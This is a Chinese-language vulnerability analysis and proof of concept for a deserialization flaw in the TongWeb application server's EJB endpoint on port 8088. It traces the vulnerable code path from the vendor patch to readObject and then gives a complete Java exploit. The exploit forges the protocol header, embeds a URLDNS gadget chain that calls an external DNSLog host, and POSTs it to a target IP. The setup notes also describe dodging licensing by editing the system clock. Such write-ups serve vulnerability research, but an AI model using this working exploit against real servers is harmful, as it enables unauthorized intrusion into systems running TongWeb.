环境搭建:
windows下双击exe安装,然后将 licence.dat 放入安装目录并修改系统时间
启动系统 /bin/startserver.bat
下载链接:https://pan.baidu.com/s/1l8WKKD9hg2wu5sDxnVneCQ 提取码:jnn7

漏洞分析:
查看官方通告:
https://www.tongtech.com/newsDetail/102461.html

下载漏洞补丁对比:com.tongweb.tongejb.server.httpd.ServerServlet 中直接关闭了8088端口的访问服务
https://www.tongtech.com//dft/downloads/128.html

继续跟进 this.ejbServer.service(in, out);
com.tongweb.tongejb.server.ejbd.EjbServer#service(java.io.InputStream, java.io.OutputStream)

继续跟进 this.server.service(inputStream, outputStream); 此处构建了 ProtocolMetaData 和 ServerMetaData ,并从输入流中读取。
com.tongweb.tongejb.server.ejbd.EjbDaemon#service(java.io.InputStream, java.io.OutputStream)

先查看 clientProtocol.readExternal(cis); 这里会读取前8字节,然后正则匹配协议头
com.tongweb.tongejb.client.ProtocolMetaData#readExternal

继续查看 serverMetaData.readExternal(ois); 此处产生反序列化点,然后在readObject之前进行了readByte所以我们生成序列化数据之前需要先writeByte

综上可以构造 URLDNS 链验证:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124
| import java.io.*; import java.lang.reflect.Field; import java.net.*; import java.util.HashMap;
public class tongweb {
public static void main(String[] args) throws Exception { // 使用 DNSLog 或 Burp Collaborator 生成的域名进行测试 String dnsUrl = "http://qay5.callback.red"; // 替换为你的DNSLog域名 String targetUrl = "http://192.168.211.251:8088";
byte[] payload = generateURLDNSPayload(dnsUrl); sendExploit(targetUrl, payload); }
public static byte[] generateURLDNSPayload(String urlString) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream();
// 1. 写入ProtocolMetaData // String protocolSpec = "W3EP/4.2"; // 7.0.4.6等新版本可用 String protocolSpec = "OEJP/4.6"; // 7.0.4.2等老版本可用 byte[] specBytes = protocolSpec.getBytes("UTF-8");
if (specBytes.length != 8) { throw new IllegalArgumentException("Protocol spec must be exactly 8 bytes!"); }
baos.write(specBytes);
// 2. ObjectOutputStream部分 ObjectOutputStream oos = new ObjectOutputStream(baos);
// 3. 写入ServerMetaData oos.writeByte(1); URI[] locations = new URI[] { new URI("http://localhost:8080/") }; oos.writeObject(locations);
// 4. 写入第一个RequestType字节 oos.writeByte((byte)0); // RequestType.EJB_REQUEST
// 5. 写入第二个RequestType字节 oos.writeByte((byte)0); // RequestType.EJB_REQUEST
// 6. 写入EJBRequest数据 // 6.1 RequestMethodCode oos.writeByte(23); // EJB_OBJECT_BUSINESS_METHOD
// 6.2 创建URLDNS payload // URLDNS链核心:利用HashMap反序列化时调用URL.hashCode()触发DNS查询 URL url = new URL(urlString);
// 使用自定义URLStreamHandler避免本地触发DNS URLStreamHandler handler = new SilentURLStreamHandler(); HashMap ht = new HashMap();
// 创建URL对象,使用自定义handler URL u = new URL(null, urlString, handler); ht.put(u, urlString); // 将URL作为key放入HashMap
// 通过反射设置URL对象的hashCode为-1,确保反序列化时重新计算 Field f = URL.class.getDeclaredField("hashCode"); f.setAccessible(true); f.set(u, -1);
// 6.3 写入deploymentId (触发反序列化!) oos.writeObject(ht); // 写入URLDNS payload
// 6.4 写入deploymentCode oos.writeShort(0);
// 6.5 写入clientIdentity oos.writeObject(null);
// 6.6 写入serverHash oos.writeInt(0);
oos.flush(); return baos.toByteArray(); }
// 自定义URLStreamHandler,用于避免本地触发DNS查询 static class SilentURLStreamHandler extends URLStreamHandler { @Override protected URLConnection openConnection(URL u) throws IOException { return null; }
@Override protected InetAddress getHostAddress(URL u) { return null; // 阻止DNS解析 } }
public static void sendExploit(String targetUrl, byte[] payload) throws Exception { java.net.URL url = new java.net.URL(targetUrl + "/ejbserver/ejb"); java.net.HttpURLConnection conn = (java.net.HttpURLConnection) url.openConnection();
conn.setRequestMethod("POST"); conn.setDoOutput(true); conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); conn.setConnectTimeout(10000); conn.setReadTimeout(10000);
try (OutputStream os = conn.getOutputStream()) { os.write(payload); os.flush(); }
int responseCode = conn.getResponseCode(); System.out.println("Response Code: " + responseCode); System.out.println("see your dnslog!");
conn.disconnect(); } }
|
漏洞复现:

